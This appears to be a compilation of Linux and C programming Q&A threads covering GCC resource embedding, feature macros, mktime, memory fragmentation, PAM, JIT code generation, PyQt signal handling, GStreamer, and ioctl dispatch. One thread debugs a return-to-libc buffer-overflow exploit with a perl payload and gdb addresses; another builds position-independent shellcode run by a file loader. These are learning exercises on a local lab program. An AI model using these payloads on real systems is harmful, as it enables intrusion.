Does anybody have an idea how to statically compile any resource file right into the executable or the shared library file using GCC?

For example I'd like add image files that never change (and if they do, I'd have to replace the file anyway) and wouldn't want them to lie around in the file system.

If this is possible (and I think it is because Visual C++ for Windows can do this, too), how can I load the files which are stored in the own binary? Does the executable parse itself, find the file and extract the data out of it?

Maybe there's an option for GCC I haven't seen yet. Using search engines didn't really spit out the right stuff.

I would need this to work for shared libraries and normal ELF-executables.

Any help is appreciated

With imagemagick:

convert file.png data.h

Gives something like:

/*
  data.h (PNM).
*/
static unsigned char
  MagickImage[] =
  {
    0x50, 0x36, 0x0A, 0x23, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x20, 
    0x77, 0x69, 0x74, 0x68, 0x20, 0x47, 0x49, 0x4D, 0x50, 0x0A, 0x32, 0x37, 
    0x37, 0x20, 0x31, 0x36, 0x32, 0x0A, 0x32, 0x35, 0x35, 0x0A, 0xFF, 0xFF, 
    0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 

....

For compatibility with other code you can then use either fmemopen to get a "regular" FILE * object, or alternatively std::stringstream to make an iostream. std::stringstream is not great for this though and you can of course just use a pointer anywhere you can use an iterator.

If you're using this with automake don't forget to set BUILT_SOURCES appropriately.

The nice thing about doing it this way is:

1. You get text out, so it can be in version control and patches sensibly
2. It is portable and well defined on every platform

I am trying to compile a C program on a Linux system. I have an #include statement for stdlib.h.

When I compile the program with gcc as follows:

gcc -std=c99 -g -o progfoo progfoo.c progbar.c

I get warnings about Implicit declaration of function [srand48, drand48, bzero, or close].

Compiling instead as:

gcc -g -o progfoo progfoo.c progbar.c

doesn't give me the warnings, but it does yell about my use of for loops (which was the rationale for adding -std=c99 in the first place).

Given that man srand48 mentions including <stdlib.h>, which I have, I'm unsure what else the problem could be. The for loops aren't essential to anything (they were just to save time in initializing an array) so I have no problem removing them, but before I do I'd like to confirm whether the c99 standard is superseding some aspect of my #include statements.

I'm using gcc 4.1.2-50 (Red Hat).

Can -std=c99 prevent my #includes from working properly?

No, but they may show up limitations in your knowledge of how they work :-)

---

While the functions [sd]rand48 have a prototype in stdlib.h, they're inside an #ifdef, at least on my system:

#if defined __USE_SVID || defined __USE_XOPEN

So you will probably have to explicitly set one of those macros.

However, before you try it, be aware that it doesn't work. That's because all this stuff is controlled with gcc's feature test macros.

There's a very complicated set of rules used to set specific features on or off in features.h and the macros created there control what the header files include and exclude. The __USE_* variants are cleared and set in that header file based on other macros provided by yourself.

For example, to get __USE_SVID set so you can use srand48, you need to provide the compiler with a -D_SVID_SOURCE parameter.

But perhaps an easier way is to just use C99 with the GNU extensions. To do that, replace -std=c99 with -std=gnu99.

And, for bzero and close, these can be obtained from strings.h and unistd.h respectively.

I was a little confused at first as to why these compiled with -std=c99 when they have absolutely nothing to do with C99 but then I realised that flag only controls what the standard C headers give you.

Neither strings.h (note the plural name, this is not string.h) nor unistd.h are part of ISO C.

I've gone down the long road of using Linux for Blackberry development. Currently that means:

bb-ant-tools - for building

net_rim_api.jar - and other Blackberry goodies from the Eclipse plugin 1.3.0

preverify - from either the J2ME SDK or WTK, I forgot which

Retrotranslator - for shoehorning some of Java 5 into J2ME

bjavaloader - from Barry, for pushing apps to my device

I'm pretty far off the beaten path, and I've given up Eclipse to boot because I prefer vim. The last remaining piece of the puzzle is:

Blackberry debugging on Linux

I've tried bjdwp, also from the Barry project. I can connect and see some console output when I attach via jdp. However trying to use jdp features seems to fail. Debugging as a remote application in Eclipse results in the following error:

terminate called after throwing an instance of 'Barry::Error'

what(): Controller: requested mode not supported

Could the best way be to setup jdwp in Windows in Virtualbox and connect remotely to that from Linux?

I think that after the fledge.exe starts on Windows, all communications are done via socket. So one viable option (that requires a VM or ability to run fledge on WINE - haven't tried the latter) is to create a file named fledge.exe on unix, with executable permissions.

It, in turn, triggers a startup sequence in WINE or the VM that launches the actual requested simulator, passing through all supplied arguments. It would proxy all debug port traffic between the real simulator and eclipse.

It's convoluted, and does require VM or WINE setup, but I think it may work. (WINE would be easier, as writing a launcher to start a specific exe on a VM would carry its own challenges.) This is something I've been thinking about looking closer at lately but haven't really had time for.

I also say this without having attempted to configure fledgecontroller/fledge.exe itself to run under wine automatically. I think that's possible; and if it worked it would probably be the easiest path.

When you call mktime(), Feb 1 seems to come before Jan 31. Why is this? Am I doing something wrong or is this a bug in glibc?

Here's the code:

struct tm tm;
time_t tt;

memset(&tm, 0, sizeof(tm));
tm.tm_year = 2011;
tm.tm_mon = 1;
tm.tm_mday = 31;
tm.tm_hour = 11;
tm.tm_min = 41;
tm.tm_sec = 28;
tm.tm_isdst = 0;
tt = mktime(&tm);

printf("Time now %d-%d-%d %d:%d:%d (%s) = %lu\n",
    tm.tm_year, tm.tm_mon, tm.tm_mday, tm.tm_hour, tm.tm_min, tm.tm_sec, tm.tm_zone, tt);


memset(&tm, 0, sizeof(tm));
tm.tm_year = 2011;
tm.tm_mon = 2;
tm.tm_mday = 1;
tm.tm_hour = 1;
tm.tm_min = 1;
tm.tm_sec = 1;
tm.tm_isdst = 0;
tt = mktime(&tm);

printf("Time now %d-%d-%d %d:%d:%d (%s) = %lu\n",
    tm.tm_year, tm.tm_mon, tm.tm_mday, tm.tm_hour, tm.tm_min, tm.tm_sec, tm.tm_zone, tt);

And here's the output:

Time now 2011-2-3 11:41:28 (PST) = 61257325288
Time now 2011-2-1 1:1:1 (PST) = 61257114061

Note that the original intention was to compare two time_t's. This issue causes the first date/time to appear to be later than the second, which is obviously a bit of a problem.

This is just compiled with "gcc test.c" and run with "./a.out" on Ubuntu 9.10, gcc version 4.4.1 (Ubuntu 4.4.1-4ubuntu8), libc-2.10.1-0ubuntu15

On a 32-bit system the results are as expected - i.e. completely different to the 64 bit result!

Would anyone care to confirm/refute this result and/or give some insight into what I may be doing wrong?

tm_mon is zero-based, so you attempted to set February 31st, which got normalized. Here's a link to the definition of mktime().

The only program relevant I know of is pmap, but this only prints the memory of one process.

I would like to see how the physical memory is occupied and by which processes/library, including the kernel, of the entire physical RAM (as opposed to that from the process' POV with pmap).

Ideally also with a graphical interface.

Do you know if there's any such tool?

I know about the ambiguity introduced by libraries. If it's the case, it could display a 1-pixel wide line and an arrow to the real location of that library.

What do I need this for? To view the RAM fragmentation.

Memory Fragmentation

When a Linux system has been running for a while memory fragmentation can increase which depends heavily on the nature of the applications that are running on it. The more processes allocate and free memory, the quicker memory becomes fragmented. And the kernel may not always be able to defragment enough memory for a requested size on time. If that happens, applications may not be able to allocate larger contiguous chunks of memory even though there is enough free memory available. Starting with the 2.6 kernel, i.e. RHEL4 and SLES9, memory management has improved tremendously and memory fragmentation has become less of an issue.

To see memory fragmentation you can use the magic SysRq key. Simply execute the following command:

# echo m > /proc/sysrq-trigger

This command will dump current memory information to /var/log/messages. Here is an example of a RHEL3 32-bit system:

Jul 23 20:19:30 localhost kernel: 0*4kB 0*8kB 0*16kB 1*32kB 0*64kB 1*128kB 1*256kB 1*512kB 1*1024kB 0*2048kB 0*4096kB = 1952kB)
Jul 23 20:19:30 localhost kernel: 1395*4kB 355*8kB 209*16kB 15*32kB 0*64kB 0*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 12244kB)
Jul 23 20:19:31 localhost kernel: 1479*4kB 673*8kB 205*16kB 73*32kB 21*64kB 847*128kB 473*256kB 92*512kB 164*1024kB 64*2048kB 28*4096kB = 708564kB)

The first line shows DMA memory fragmentation. The second line shows Low Memory fragmentation and the third line shows High Memory fragmentation. The output shows memory fragmentation in the Low Memory area. But there are many large memory chunks available in the High Memory area, e.g. 28 4MB.

If memory information was not dumped to /var/log/messages, then SysRq was not enabled. You can enable SysRq by setting sysrq to 1:

# echo 1 > /proc/sys/kernel/sysrq

Starting with the 2.6 kernel, i.e. RHEL4 and SLES9, you don’t need SysRq to dump memory information. You can simply check /proc/buddyinfo for memory fragmentation.

Here is the output of a 64-bit server running the 2.6 kernel:

# cat /proc/buddyinfo

Node 0, zone DMA 5 4 3 4 3 2 1 0 1 1 2
Node 0, zone Normal 1046 527 128 36 17 5 26 40 13 16 94
# echo m > /proc/sysrq-trigger
# grep Normal /var/log/messages | tail -1
Jul 23 21:42:26 localhost kernel: Normal: 1046*4kB 529*8kB 129*16kB 36*32kB 17*64kB 5*128kB 26*256kB 40*512kB 13*1024kB 16*2048kB 94*4096kB = 471600kB
#

In this example I used SysRq again to show what each number in /proc/buddyinfo is referring to.

Source: http://www.puschitz.com/pblog/

I'm interested in writing a replacement login screen for Ubuntu that would present the user with a puzzle rather than prompt for a password. I'm looking for some advice on how to go about creating this. I'm a programmer by profession with years of experience, but am not familiar enough with Linux application programming to know how to begin this particular project. Thank you!

You could probably do this as an authentication module for PAM (Linux Pluggable Authentication Modules). PAM is configured in configuration files in /etc/pam.d. Each file in this directory defines a PAM service by specifying a set of PAM modules and how they should work together. You could write a new authentication module and replace the current authentication module in the services where you want to use the new login scheme.

I'd like to write a very small proof-of-concept JIT compiler for a toy language processor I've written (purely academic), but I'm having some trouble in the middle-altitudes of design. Conceptually, I'm familiar with how JIT works - you compile bytecode into (machine or assembly?) code to run. At the nuts-and-bolts level however, I'm not quite gripping how you actually go about doing that.

My (very "newb") knee-jerk reaction, since I haven't the first clue where to start, would be to try something like the following:

1. mmap() a block of memory, setting access to PROT_EXEC
2. write the native code into the block
3. store the current registers (stack pointer, et al.) someplace cozy
4. modify the current registers to point into the native code block in the mapped region
5. the native code would now get executed by the machine
6. restore the previous registers

Is that even close to a/the correct algorithm? I've tried perusing different projects that I know have JIT compilers to study (such as V8) but these codebases turn out to be difficult to consume because of their size, and I've little idea where to start looking.

Not sure about linux, but this works on x86/windows.
Update: http://codepad.org/sQoF6kR8

#include <stdio.h>
#include <windows.h>

typedef unsigned char byte;

int arg1;
int arg2;
int res1;

typedef void (*pfunc)(void);

union funcptr {
  pfunc x;
  byte* y;
};

int main( void ) {

  byte* buf = (byte*)VirtualAllocEx( GetCurrentProcess(), 0, 1<<16, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

  if( buf==0 ) return 0;

  byte* p = buf;

  *p++ = 0x50; // push eax
  *p++ = 0x52; // push edx

  *p++ = 0xA1; // mov eax, [arg2]
  (int*&)p[0] = &arg2; p+=sizeof(int*);

  *p++ = 0x92; // xchg edx,eax

  *p++ = 0xA1; // mov eax, [arg1]
  (int*&)p[0] = &arg1; p+=sizeof(int*);

  *p++ = 0xF7; *p++ = 0xEA; // imul edx

  *p++ = 0xA3; // mov [res1],eax
  (int*&)p[0] = &res1; p+=sizeof(int*);

  *p++ = 0x5A; // pop edx
  *p++ = 0x58; // pop eax
  *p++ = 0xC3; // ret

  funcptr func;
  func.y = buf;

  arg1 = 123; arg2 = 321; res1 = 0;

  func.x(); // call generated code

  printf( "arg1=%i arg2=%i arg1*arg2=%i func(arg1,arg2)=%i\n", arg1,arg2,arg1*arg2,res1 );

}

What is the correct way to make my PyQt application quit when killed from the console (Ctrl-C)?

Currently (I have done nothing special to handle unix signals), my PyQt application ignores SIGINT (Ctrl+C). I want it to behave nicely and quit when it is killed. How should I do that?

This works, and does not seems a bit overkill.
A QTimer is used to let the interpreter run each 500 ms. It will close after the message box if there are no open windows even if the user chooses 'No' because QApplication.quitOnLastWindowClosed() == True.

import signal
import sys

from PyQt4.Qt import *

# Your code here

def sigint_handler(*args):
    """Handler for the SIGINT signal."""
    sys.stderr.write('\r')
    if QMessageBox.question(None, '', "Are you sure you want to quit?",
                            QMessageBox.Yes | QMessageBox.No,
                            QMessageBox.No) == QMessageBox.Yes:
        QApplication.quit()

if __name__ == "__main__":
    signal.signal(signal.SIGINT, sigint_handler)
    app = QApplication(sys.argv)
    timer = QTimer()
    timer.start(500)  # You may change this if you wish.
    timer.timeout.connect(lambda: None)  # Let the interpreter run each 500 ms.
    # Your code here.
    sys.exit(app.exec_())

(The code below does not work.)

import sys

try:
    pass
    # Your code here
except KeyboardInterrupt:
    # The \r at the beginning erase the '^C' that is printed when you press Ctrl-C. Without it, the output would be: "^CCtrl-C caught. Exiting..."
    sys.stderr.write('\rCtrl-C caught. Exiting...\n')

Or, if you do not want Ctrl-C to raise an Exception: (Does not work too.)

import signal
def signal_handler(signal, frame):
    pass
    # Send a PyQt signal to make your application quit the way you want.

signal.signal(signal.SIGINT, signal_handler)
# Your code here

(Works, but static_rtti said it "Seems a bit overkill, though.")

import os
import signal
import sys
import threading

from PyQt4.Qt import *

class MainWindow(QMainWindow):
    """Your main window."""
    def closeEvent(self, event):
        """Handles the closing."""
        reply = QMessageBox.question(self, '', "Are you sure you want to quit?",
                                     QMessageBox.Yes | QMessageBox.No,
                                     QMessageBox.No)
        if reply == QMessageBox.Yes:
            event.accept()
        else:
            event.ignore()


# Put the rest of your PyQt4 application here.

class QtThread(threading.Thread):
    """Thread to run the PyQt4 app."""
    def __init__(self):
        super(type(self), self).__init__()
        self.exit = None  # Exit code.

    def run(self):
        """Run."""
        self.app = QApplication(sys.argv)
        self.timer = QTimer()
        self.timer.timeout.connect(self.check_for_close_flag)
        self.timer.start(500)  # Check for the close_flag every 500 msec.
        main_window = MainWindow()
        main_window.show()
        self.exit = self.app.exec_()

    def check_for_close_flag(self):
        """Check if the close_flag is True."""
        if close_flag:
            self.app.closeAllWindows()


class CloseFlag(object):
    def __init__(self):
        self._close = False

    def close(self):
        self._close = True

    def __bool__(self):
        return self._close

    def __nonzero__(self):
        return self.__bool__()

def signal_handler(*args):
    close_flag.close()

if __name__ == "__main__":
    close_flag = CloseFlag()

    signal.signal(signal.SIGINT, signal_handler)

    qt_thread = QtThread()
    qt_thread.start()

    while qt_thread.is_alive():
        pass
    sys.stderr.write('\r')
    os._exit(qt_thread.exit)  # sys.exit() makes segmentation faults.

Hi all, i need to write a library in c++ , usable by client to do some operations in a remote server. The only thing in the specific i haven't done yet it's: The c++ library need a C interface. Let me explain better: From client using this lib i need to do call something like: int operation(void* addr); if int<0 error and so.. But the library it's a class in c++. So my answer is.. Need I a global variable holding the instance of class in the library? The are some better option to develop this C interface of C++ class?

Thx in advice for answer.

You can use the PIMPL idiom in the C wrapper. You provide a method YourClass_Create that internally calls the constructor (using new) and returns the pointer to your class instance; for the client code this will be just an opaque handle (it may be a typedef for void *), to be passed to every function of your C interface to specify on which instance it has to work (just like FILE * in stdio).

All these functions will have to do is to call the corresponding method on the handle (converted back to a pointer to your class) and translate exceptions to error codes.

---

As @jdv-Jan de Vaan pointed out in his comment, don't forget the necessary #ifdefed extern "C" {} around your C wrapper code, otherwise you may get linker errors.

Hi, I'm having problems with return-to-libc exploit. The problem is that nothing happens, but no segmentation fault (and yes I'm actually overflowing the stack).

This is my program:

int main(int argc, char **argv) {
  char array[512];
  gets(array);
}

I'm using gets instead of strcopy, because my addresses start with 0x00 and strcpy thinks it's the end of a string, so I can't use it.

Here are the addresses that I need:

$ gdb main core
(gdb) p system
$1 = {<text variable, no debug info>} 0x179680 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x16f6e0 <exit>
(gdb)  x/s 0xbffffe3f
0xbffffe3f:      "/bin/sh"

When inputing the right sequence, this happens:

eleanor@eleanor32:~/testing/root$ perl -e 'print "\x41"x516 . "\x80\x96\x17\x00" . "\xe0\xf6\x16\x00" . "\x3f\xfe\xff\xbf"' | ./main
eleanor@eleanor32:~/testing/root$

so nothing.

But if I enter 520 'A's (0x41), then the EIP is overflown with 'A's. If there's 516 'A', nothing happens but EIP contains the system address, following the exit address, following the /bin/sh pointer.

Why nothing happened?

Let's do some asm before:

Code

$ cat gets.c
int main(int argc, char **argv) {
  char array[512];
  gets(array);
}

Asm

$ gcc gets.c -o getsA.s -S -fverbose-asm
$ cat gets.s
    ....
.globl main
        .type   main, @function
main:
        leal    4(%esp), %ecx   #,
        andl    $-16, %esp      #,
        pushl   -4(%ecx)        #  (1)
        pushl   %ebp            #  2
        movl    %esp, %ebp      #,
        pushl   %ecx            #  3
        subl    $516, %esp      #,
        leal    -516(%ebp), %eax        #, tmp60
        movl    %eax, (%esp)    # tmp60,
        call    gets            #  << break here  
        addl    $516, %esp      #,  << or here to see the stack picture
        popl    %ecx            #  (3')
        popl    %ebp            #  (2')
        leal    -4(%ecx), %esp  #  (1')
        ret
        .size   main, .-main

The prologue and epilogue (these are with alignment code) is described in detail here Understanding the purpose of some assembly statements

Stack layout:

(char)  array[0]
...
(char)  array[511]
(32bit) $ecx - pushed by 3 - it was the address on the stack of the eip which main will return to
(32bit) $ebp - pushed by 2
(32bit) $esp - pushed by 1 - change the $esp to the original value

So, if you want to change a return address of main, you should not to change address in stack which will be used by ret, but also to repeat the values saved in stack by (1),(2),(3) pushes. Or you can embed a new return address in the array itself and overwrite only (3) by the your new stack address+4. (use 516 byte string)

I suggest you use this source code to hack it:

$ cat getss.c
f()
{
  char array[512];
  gets(array);
}
int main(int argc, char **argv) {
    f();
}

because f have no problems with stack realignement

.globl f
        .type   f, @function
f:
        pushl   %ebp    #
        movl    %esp, %ebp      #,
        subl    $520, %esp      #,
        leal    -512(%ebp), %eax        #, tmp59
        movl    %eax, (%esp)    # tmp59,
        call    gets    #
        leave
        ret
        .size   f, .-f

Stack layout for f():

(char)  array[0]
...
(char)  array[511]
(32bit) old ebp
(32bit) return address

Breakpoint at ret instruction in f() with 520 bytes of "A"

(gdb) x/w $sp
0xXXXXXa3c:     0x41414141

I'm writing a program that loads and executes code from file. But i got a problem: "write" syscall does not work. Code successfully loads and executes, but does not display any text on the screen.

Program that loads code:

#include < stdio.h >
#include < stdlib.h >

int main(int argc,char* argv[])
{
    unsigned int f_size = 0;
    unsigned char* code_buf = NULL;
    void (*func_call)(void) = NULL;

    if(argc < 2) 
    {
        printf("Usage: %s <FILE>\n",argv[0]);
        return 1;
    }

    FILE* fp = fopen(argv[1],"rb");
    if(!fp)
    {
        printf("Error while opening this file: %s\n",argv[1]);
        return 1;
    }

    unsigned int fsize = 0;
    fseek(fp,0,SEEK_END);
    fsize = ftell(fp);
    fseek(fp,0,SEEK_SET);
    if(fsize < 4)
    {
        printf("Code size must be > 4 bytes\n");
        return 1;
    }

    code_buf = (unsigned char*) malloc(sizeof(unsigned char)*fsize);
    if(fread(code_buf,fsize,1,fp)<1)
    {
        printf("Error while reading file: %s\n",argv[1]);
        free(code_buf);
        return 1;
    }
    func_call = (void (*)(void)) code_buf;

    printf("[EXEC] Binary is loaded\n"
           "\tFirst 2 bytes: 0x%x 0x%x\n"
           "\tLast 2 bytes: 0x%x 0x%x\n",
           code_buf[0],code_buf[1],
           code_buf[fsize-2],code_buf[fsize-1]);
    printf("[EXEC] Starting code...\n");
    (*func_call)();
    printf("[EXEC] Code executed!\n");

    free(code_buf);

    return 0;
}

code that i trying to execute by this program (test.s):

.text
    movl    $4, %eax
    movl    $1, %ebx
    movl    $str, %ecx
    movl    $5, %edx
    int     $0x80
    jmp end
    str:
        .string "test\n"
    end:
    ret

Here is how i compile it:

 gcc -c test.s
 objcopy -O binary test.o test.bin

Solved, thanks to @Christoph

There are working code:

.text
    call start
    str:
        .string "test\n"
    start:
    movl    $4, %eax
    movl    $1, %ebx
    pop     %ecx
    movl    $5, %edx
    int     $0x80
    ret

Your approach can't work: shellcode must be position-independant, but your code refers to the absolute address str. The unconditional jump can also be either relative or absolute: make sure you get the relative verison (opcodes EB and E9 on x86).

See The Technique of Writing Portable Shell Code for more information.

How can I pipe the output of a command into my clipboard and paste it back when using a terminal? For instance:

cat file | clipboard

I always wanted to do this and found a nice and easy way of doing it. I wrote down the complete procedure just in case anyone else needs it.

First install a 16kB program called xclip:

sudo apt-get install xclip

You can then pipe the output into xclip to be copied into the clipboard:

cat file | xclip

To paste you use:

xclip -o

To simplify life, you can setup an alias in your .bashrc file as I did:

alias "c=xclip"
alias "v=xclip -o"

To see how useful this is, imagine I want to open my current path in a new terminal window (there may be other ways of doing it like Ctrl+T on some systems but this is just for illustration purposes):

Terminal 1:
pwd | c

Terminal 2:
cd `v`

Notice the ` ` around v. This executes v as a command first and then substitutes it in-place for cd to use.

UPDATE from @khotyn:

cat file | xclip only copy the content to the 'X' clipboard, if you want to paste somewhere else other than a 'X' application, try this one:

cat file | xclip -selection clipboard

Hello, I've been looking for a way to play and record audio on a Linux (preferably Ubuntu) system. I'm currently working on a front-end to a voice recognition toolkit that'll automate a few steps required to adapt a voice model for PocketSphinx and Julius.

Suggestions of alternative means of audio input/output are welcome, as well as a fix to the bug shown below.

Here is the current code I've used so far to play a .WAV file:

void Engine::sayText ( const string OutputText ) {
    string audioUri = "temp.wav";
    string requestUri = this->getRequestUri( OPENMARY_PROCESS , OutputText.c_str( ) );
    int error , audioStream;
    pa_simple *pulseConnection;
    pa_sample_spec simpleSpecs;
    simpleSpecs.format = PA_SAMPLE_S16LE;
    simpleSpecs.rate = 44100;
    simpleSpecs.channels = 2;

    eprintf( E_MESSAGE , "Generating audio for '%s' from '%s'..." , OutputText.c_str( ) , requestUri.c_str( ) );
    FILE* audio = this->getHttpFile( requestUri , audioUri );
    fclose(audio);
    eprintf( E_MESSAGE , "Generated audio.");

    if ( ( audioStream = open( audioUri.c_str( ) , O_RDONLY ) ) < 0 ) {
        fprintf( stderr , __FILE__": open() failed: %s\n" , strerror( errno ) );
        goto finish;
    }

    if ( dup2( audioStream , STDIN_FILENO ) < 0 ) {
        fprintf( stderr , __FILE__": dup2() failed: %s\n" , strerror( errno ) );
        goto finish;
    }

    close( audioStream );

    pulseConnection = pa_simple_new( NULL , "AudioPush" , PA_STREAM_PLAYBACK , NULL , "openMary C++" , &simpleSpecs , NULL , NULL , &error );

    for (int i = 0;;i++ ) {
        const int bufferSize = 1024;
        uint8_t audioBuffer[bufferSize];
        ssize_t r;
        eprintf( E_MESSAGE , "Buffering %d..",i);
        /* Read some data ... */
        if ( ( r = read( STDIN_FILENO , audioBuffer , sizeof (audioBuffer ) ) ) <= 0 ) {
            if ( r == 0 ) /* EOF */
                break;

            eprintf( E_ERROR , __FILE__": read() failed: %s\n" , strerror( errno ) );
    if ( pulseConnection )
        pa_simple_free( pulseConnection );

        }

        /* ... and play it */
        if ( pa_simple_write( pulseConnection , audioBuffer , ( size_t ) r , &error ) < 0 ) {
            fprintf( stderr , __FILE__": pa_simple_write() failed: %s\n" , pa_strerror( error ) );
    if ( pulseConnection )
        pa_simple_free( pulseConnection );

        }

        usleep(2);

    }
    /* Make sure that every single sample was played */
    if ( pa_simple_drain( pulseConnection , &error ) < 0 ) {
        fprintf( stderr , __FILE__": pa_simple_drain() failed: %s\n" , pa_strerror( error ) );
    if ( pulseConnection )
        pa_simple_free( pulseConnection );
    }    
}

NOTE: If you want the rest of the code to this file, you can download it here directly from Launchpad.

Update: I tried using GStreamermm, and this won't work:

    Glib::RefPtr<Pipeline> pipeline;
    Glib::RefPtr<Element> sink, filter, source;
    Glib::RefPtr<Gio::File> audioSrc = Gio::File::create_for_path(uri);

    pipeline = Pipeline::create("audio-playback");
    source = ElementFactory::create_element("alsasrc","source");
    filter = ElementFactory::create_element("identity","filter");
    sink = ElementFactory::create_element("alsasink","sink");
    //sink->get_property("file",audioSrc);
    if (!source || !filter || !sink){
        showErrorDialog("Houston!","We got a problem.");
        return;
    }
    pipeline->add(source)->add(filter)->add(sink);
    source->link(sink);

    pipeline->set_state(Gst::STATE_PLAYING);
    showInformation("Close this to stop recording");
    pipeline->set_state(Gst::STATE_PAUSED);

The "Hello World" application in the GStreamer documentation shows how to play an Ogg/Vorbis file. To make this work with WAV files, you can simply replace "oggdemux" with "wavparse" and replace "vorbisdec" with "identity" (the identity plugin does nothing -- it's just a placeholder).

To install development support for GStreamer (on Ubuntu)...

sudo apt-get install libgstreamer0.10-dev

You need the following on the gcc command-line to enable the use of GStreamer libraries...

$(pkg-config --cflags --libs gstreamer-0.10)

By the way, you may find it useful to use "gst-launch" for prototyping GStreamer pipelines before writing the code.

## recording
gst-launch-0.10 autoaudiosrc ! wavenc ! filesink location=temp.wav

## playback
gst-launch-0.10 filesrc location=temp.wav ! wavparse ! autoaudiosink

A feature of GStreamer that may be useful for voice recognition is that it is easy to insert audio quality filters into a pipeline -- so you could, for example, reduce noise that might otherwise be in the recording. A pointer to a list of the GStreamer "good" plugins is here.

Also of interest, "PocketSphinx" (which seems to be related to your project) already has some GStreamer integration. See Using PocketSphinx with GStreamer and Python

I'm writing a curses script which requires cleanup after processing SIGINT in order to return the terminal back to its original status.

I get a segfault when the signal handler is enabled.

For support's sake, I removed all the curses code to boil the problem down.

Code:

#!/usr/bin/env perl

use strict;
use warnings;
use threads;

sub cleanup { exit 0; }

sub run { while (1) {} }

# comment this line and the problem disappears
$SIG{INT} = \&cleanup;

foreach my $i (1..100) {
    print "Creating this thread\n";

    my $t = threads->create(\&run);

    print "Created that thread\n";
}

while (1) { print "Looping\n"; }

Sample Error Trace (segfaults 90% of the time):

$ ./threadtest.perl

...

Creating this thread
Creating that thread
Detaching this thread
Detaching that thread
Creating this thread
^CSegmentation fault

$

Specs:

• threads 1.72
• archname ""
• os ""
• Perl 5.10.1 (came with Debian) Debian
• 6 Squeeze

Initial Impression:

I think the problem occurs when the custom signal handler grabs control. This somehow prevents the next thread from being created, resulting in a segfault.

Does Perl's default SIGINT handler run special code to safely end evaluation of thread creation? If so, I imagine the solution is to copypasta into the custom handler.

The revision history for the threads module contains:

1.73 Mon Jun  8 13:17:04 2009
- Signal handling during thread creation/destruction (John Wright)
- Upgraded ppport.h to Devel::PPPort 3.17

which suggests that there was a known problem with signal handling during thread creation and destruction in versions earlier than 1.73. Upgrade your threads module.

So when I call an ioctl on a device, with an ioctl number, how does it know which function to call?

The ioctl(2) enters via the fs/ioctl.c function:

SYSCALL_DEFINE3(ioctl, unsigned int, fd, unsigned int, cmd, unsigned long, arg)
{
    struct file *filp;
    int error = -EBADF;
    int fput_needed;

    filp = fget_light(fd, &fput_needed);
    if (!filp)
            goto out;

    error = security_file_ioctl(filp, cmd, arg);
    if (error)
            goto out_fput;

    error = do_vfs_ioctl(filp, fd, cmd, arg);
 out_fput:
    fput_light(filp, fput_needed);
 out:
    return error;
}

Note that there is already a filedescriptor fd associated. The kernel then calls fget_light() to look up a filp (roughly, file pointer, but don't confuse this with the standard IO FILE * file pointer). The call into security_file_ioctl() checks whether the loaded security module will allow the ioctl (whether by name, as in AppArmor and TOMOYO, or by labels, as in SMACK and SELinux), as well as whether or not the user has the correct capability (capabilities(7)) to make the call. If the call is allowed, then do_vfs_ioctl() is called to either handle common ioctls itself:

    switch (cmd) {
    case FIOCLEX:
            set_close_on_exec(fd, 1);
            break;
    /* ... */

If none of those common cases are correct, then the kernel calls a helper routine:

static long vfs_ioctl(struct file *filp, unsigned int cmd,
                  unsigned long arg)
{
    int error = -ENOTTY;

    if (!filp->f_op || !filp->f_op->unlocked_ioctl)
            goto out;

    error = filp->f_op->unlocked_ioctl(filp, cmd, arg);
    if (error == -ENOIOCTLCMD)
            error = -EINVAL;
 out:
    return error;
}

Drivers supply their own .unlocked_ioctl function pointer, like this pipe implementation in fs/pipe.c:

const struct file_operations rdwr_pipefifo_fops = {
    .llseek         = no_llseek,
    .read           = do_sync_read,
    .aio_read       = pipe_read,
    .write          = do_sync_write,
    .aio_write      = pipe_write,
    .poll           = pipe_poll,
    .unlocked_ioctl = pipe_ioctl,
    .open           = pipe_rdwr_open,
    .release        = pipe_rdwr_release,
    .fasync         = pipe_rdwr_fasync,
};

I have a backtrace with something I haven't seen before. See frame 2 in these threads:

Thread 31 (process 8752):
#0  0x00faa410 in __kernel_vsyscall ()
#1  0x00b0b139 in sigprocmask () from /lib/libc.so.6
#2  0x00b0c7a2 in abort () from /lib/libc.so.6
#3  0x00752aa0 in __gnu_cxx::__verbose_terminate_handler () from /usr/lib/libstdc++.so.6
#4  0x00750505 in ?? () from /usr/lib/libstdc++.so.6
#5  0x00750542 in std::terminate () from /usr/lib/libstdc++.so.6
#6  0x00750c65 in __cxa_pure_virtual () from /usr/lib/libstdc++.so.6
#7  0x00299c63 in ApplicationFunction()

Thread 1 (process 8749):
#0  0x00faa410 in __kernel_vsyscall ()
#1  0x00b0ad80 in raise () from /lib/libc.so.6
#2  0x00b0c691 in abort () from /lib/libc.so.6
#3  0x00b4324b in __libc_message () from /lib/libc.so.6
#4  0x00b495b6 in malloc_consolidate () from /lib/libc.so.6
#5  0x00b4b3bd in _int_malloc () from /lib/libc.so.6
#6  0x00b4d3ab in malloc () from /lib/libc.so.6
#7  0x08147f03 in AnotherApplicationFunction ()

When opening it with gdb and getting backtrace it gives me thread 1. Later I saw the weird state that thread 31 is in. This thread is from the library that we had problems with so I'd believe the crash is caused by it.

So what does it mean? Two threads simultaneously doing something illegal? Or it's one of them, causing somehow abort() in the other one?

The OS is Linux Red Hat Enterprise 5.3, it's a multiprocessor server.

Looks like it could be heap corruption, detected by malloc in thread 1, causing or caused by the error in thread 31.

Some broken piece of code overwriting a.o. the vtable in thread 31 could easily cause this.

Can I use OpenGL in the Linux Kernel? That is, I'd like to improve the performance of some code, so using the GPU would be benefit for another driver. It's certain the GPU would be fixed on the machine for which this kernel would be build.

Sorry if I sound naive, I am just trying to get the general picture for the moment.

Thanks!

No, you can't, the biggest reason is that you can't use floating point math in the kernel. Besides that accessing such driver from within the kernel is a very bad idea. I don't know if the kernel is even able to link to a usermode library (libGL.so or libOpenCL.so).